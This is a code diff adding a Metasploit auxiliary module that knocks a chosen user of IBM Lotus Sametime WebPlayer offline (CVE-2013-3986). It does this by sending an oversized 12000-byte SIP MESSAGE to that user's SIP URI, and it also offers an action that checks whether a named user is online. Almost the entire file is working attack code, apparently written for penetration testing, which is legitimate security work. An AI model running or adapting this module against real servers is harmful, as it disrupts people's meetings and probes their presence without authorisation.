|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Exploit::Remote::Tcp |
| 11 | + include Msf::Auxiliary::Dos |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'IBM Lotus Sametime WebPlayer DoS', |
| 16 | + 'Description' => %q{ |
| 17 | + This module exploits a known flaw in the IBM Lotus Sametime WebPlayer |
| 18 | + version 8.5.2.1392 (and prior) to cause a denial of service condition |
| 19 | + against specific users. For this module to function the target user |
| 20 | + must be actively logged into the IBM Lotus Sametime server and have |
| 21 | + the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a |
| 22 | + browser extension. The user should have the WebPlayer plug-in active |
| 23 | + (i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly. |
| 24 | + }, |
| 25 | + 'Author' => |
| 26 | + [ |
| 27 | + 'Chris John Riley', # Vulnerability discovery |
| 28 | + 'kicks4kittens' # Metasploit module |
| 29 | + ], |
| 30 | + 'License' => MSF_LICENSE, |
| 31 | + 'Actions' => |
| 32 | + [ |
| 33 | + ['DOS', |
| 34 | + { |
| 35 | + 'Description' => 'Cause a Denial Of Service condition against a connected user' |
| 36 | + } |
| 37 | + ], |
| 38 | + ['CHECK', |
| 39 | + { |
| 40 | + 'Description' => 'Checking if targeted user is online' |
| 41 | + } |
| 42 | + ] |
| 43 | + ], |
| 44 | + 'DefaultAction' => 'DOS', |
| 45 | + 'References' => |
| 46 | + [ |
| 47 | + [ 'CVE', '2013-3986' ], |
| 48 | + [ 'OSVDB', '99552' ], |
| 49 | + [ 'BID', '63611'], |
| 50 | + [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21654041' ], |
| 51 | + [ 'URL', 'http://xforce.iss.net/xforce/xfdb/84969' ] |
| 52 | + ], |
| 53 | + 'DisclosureDate' => 'Nov 07 2013')) |
| 54 | + |
| 55 | + register_options( |
| 56 | + [ |
| 57 | + Opt::RPORT(5060), |
| 58 | + OptAddress.new('RHOST', [true, 'The Sametime Media Server']), |
| 59 | + OptString.new('SIPURI', [ |
| 60 | + true, |
| 61 | + 'The SIP URI of the user to be targeted', |
| 62 | + '<target_email_address>@<sametime_media_server_FQDN>' |
| 63 | + ]), |
| 64 | + OptInt.new('TIMEOUT', [ true, 'Set specific response timeout', 0]) |
| 65 | + ], self.class) |
| 66 | + |
| 67 | + end |
| 68 | + |
| 69 | + def setup |
| 70 | + # cleanup SIP target to ensure it's in the correct format to use |
| 71 | + @sipuri = datastore['SIPURI'] |
| 72 | + if @sipuri[0, 4].downcase == "sip:" |
| 73 | + # remove sip: if present in string |
| 74 | + @sipuri = @sipuri[4, @sipuri.length] |
| 75 | + end |
| 76 | + if @sipuri[0, 12].downcase == "webavclient-" |
| 77 | + # remove WebAVClient- if present in string |
| 78 | + @sipuri = @sipuri[12, @sipuri.length] |
| 79 | + end |
| 80 | + end |
| 81 | + |
| 82 | + def run |
| 83 | + # inform user of action currently selected |
| 84 | + print_status("#{peer} - Action: #{action.name} selected") |
| 85 | + |
| 86 | + # CHECK action |
| 87 | + if action.name == 'CHECK' |
| 88 | + print_status("#{peer} - Checking if user #{@sipuri} is online") |
| 89 | + if check_user |
| 90 | + print_good("#{peer} - User online") |
| 91 | + else |
| 92 | + print_status("#{peer} - User offline") |
| 93 | + end |
| 94 | + return |
| 95 | + end |
| 96 | + |
| 97 | + # DOS action |
| 98 | + print_status("#{peer} - Checking if user #{@sipuri} is online") |
| 99 | + check_result = check_user |
| 100 | + |
| 101 | + if check_result == false |
| 102 | + print_error("#{peer} - User is already offline... Exiting...") |
| 103 | + return |
| 104 | + end |
| 105 | + |
| 106 | + # only proceed if action is DOS the target user is |
| 107 | + # online or the CHECKUSER option has been disabled |
| 108 | + print_status("#{peer} - Targeting user: #{@sipuri}...") |
| 109 | + dos_result = dos_user |
| 110 | + |
| 111 | + if dos_result |
| 112 | + print_good("#{peer} - User is offline, DoS was successful") |
| 113 | + else |
| 114 | + print_error("#{peer} - User is still online") |
| 115 | + end |
| 116 | + |
| 117 | + end |
| 118 | + |
| 119 | + def peer |
| 120 | + "#{rhost}:#{rport}" |
| 121 | + end |
| 122 | + |
| 123 | + def dos_user |
| 124 | + length = 12000 # enough to overflow the end of allocated memory |
| 125 | + msg = create_message(length) |
| 126 | + res = send_msg(msg) |
| 127 | + |
| 128 | + if res.nil? |
| 129 | + vprint_good("#{peer} - User #{@sipuri} is no responding") |
| 130 | + return true |
| 131 | + elsif res =~ /430 Flow Failed/i |
| 132 | + vprint_good("#{peer} - DoS packet successful. Response received (430 Flow Failed)") |
| 133 | + vprint_good("#{peer} - User #{@sipuri} is no longer responding") |
| 134 | + return true |
| 135 | + elsif res =~ /404 Not Found/i |
| 136 | + vprint_error("#{peer} - DoS packet appears successful. Response received (404 Not Found)") |
| 137 | + vprint_status("#{peer} - User appears to be currently offline or not in a Sametime video session") |
| 138 | + return true |
| 139 | + elsif res =~ /200 OK/i |
| 140 | + vrint_error("#{peer} - DoS packet unsuccessful. Response received (200)") |
| 141 | + vrint_status("#{peer} - Check user is running an effected version of IBM Lotus Sametime WebPlayer") |
| 142 | + return false |
| 143 | + else |
| 144 | + vprint_status("#{peer} - Unexpected response") |
| 145 | + return true |
| 146 | + end |
| 147 | + end |
| 148 | + |
| 149 | + # used to check the user is logged into Sametime and after DoS to check success |
| 150 | + def check_user |
| 151 | + length = Rex::Text.rand_text_numeric(2) # just enough to check response |
| 152 | + msg = create_message(length) |
| 153 | + res = send_msg(msg) |
| 154 | + |
| 155 | + # check response for current user status - common return codes |
| 156 | + if res.nil? |
| 157 | + vprint_error("#{peer} - No response") |
| 158 | + return false |
| 159 | + elsif res =~ /430 Flow Failed/i |
| 160 | + vprint_good("#{peer} - User #{@sipuri} is no longer responding (already DoS'd?)") |
| 161 | + return false |
| 162 | + elsif res =~ /404 Not Found/i |
| 163 | + vprint_error("#{peer} - User #{@sipuri} is currently offline or not in a Sametime video session") |
| 164 | + return false |
| 165 | + elsif res =~ /200 OK/i |
| 166 | + vprint_good("#{peer} - User #{@sipuri} is online") |
| 167 | + return true |
| 168 | + else |
| 169 | + vprint_error("#{peer} - Unknown server response") |
| 170 | + return false |
| 171 | + end |
| 172 | + end |
| 173 | + |
| 174 | + def create_message(length) |
| 175 | + # create SIP MESSAGE of specified length |
| 176 | + vprint_status("#{peer} - Creating SIP MESSAGE packet #{length} bytes long") |
| 177 | + |
| 178 | + source_user = Rex::Text.rand_text_alphanumeric(rand(8)+1) |
| 179 | + source_host = Rex::Socket.source_address(datastore['RHOST']) |
| 180 | + src = "#{source_host}:#{datastore['RPORT']}" |
| 181 | + cseq = Rex::Text.rand_text_numeric(3) |
| 182 | + message_text = Rex::Text.rand_text_alphanumeric(length.to_i) |
| 183 | + branch = Rex::Text.rand_text_alphanumeric(7) |
| 184 | + |
| 185 | + # setup SIP message in the correct format expected by the server |
| 186 | + data = "MESSAGE sip:WebAVClient-#{@sipuri} SIP/2.0" + "\r\n" |
| 187 | + data << "Via: SIP/2.0/TCP #{src};branch=#{branch}.#{"%.8x" % rand(0x100000000)};rport;alias" + "\r\n" |
| 188 | + data << "Max-Forwards: 80\r\n" |
| 189 | + data << "To: sip:WebAVClient-#{@sipuri}" + "\r\n" |
| 190 | + data << "From: sip:#{source_user}@#{src};tag=70c00e8c" + "\r\n" |
| 191 | + data << "Call-ID: #{rand(0x100000000)}@#{source_host}" + "\r\n" |
| 192 | + data << "CSeq: #{cseq} MESSAGE" + "\r\n" |
| 193 | + data << "Content-Type: text/plain;charset=utf-8" + "\r\n" |
| 194 | + data << "User-Agent: #{source_user}\r\n" |
| 195 | + data << "Content-Length: #{message_text.length}" + "\r\n\r\n" |
| 196 | + data << message_text |
| 197 | + |
| 198 | + return data |
| 199 | + end |
| 200 | + |
| 201 | + def timing_get_once(s, length) |
| 202 | + if datastore['TIMEOUT'] and datastore['TIMEOUT'] > 0 |
| 203 | + return s.get_once(length, datastore['TIMEOUT']) |
| 204 | + else |
| 205 | + return s.get_once(length) |
| 206 | + end |
| 207 | + end |
| 208 | + |
| 209 | + def send_msg(msg) |
| 210 | + begin |
| 211 | + s = connect |
| 212 | + # send message and store response |
| 213 | + s.put(msg + "\r\n\r\n") rescue nil |
| 214 | + # read response |
| 215 | + res = timing_get_once(s, 25) |
| 216 | + if res == "\r\n" |
| 217 | + # retry request |
| 218 | + res = timing_get_once(s, 25) |
| 219 | + end |
| 220 | + return res |
| 221 | + rescue ::Rex::ConnectionRefused |
| 222 | + print_status("#{peer} - Unable to connect") |
| 223 | + return nil |
| 224 | + rescue ::Errno::ECONNRESET |
| 225 | + print_status("#{peer} - DoS packet successful, host not responding.") |
| 226 | + return nil |
| 227 | + rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout |
| 228 | + print_status("#{peer} - Couldn't connect") |
| 229 | + return nil |
| 230 | + ensure |
| 231 | + # disconnect socket if still open |
| 232 | + disconnect if s |
| 233 | + end |
| 234 | + end |
| 235 | +end |
0 commit comments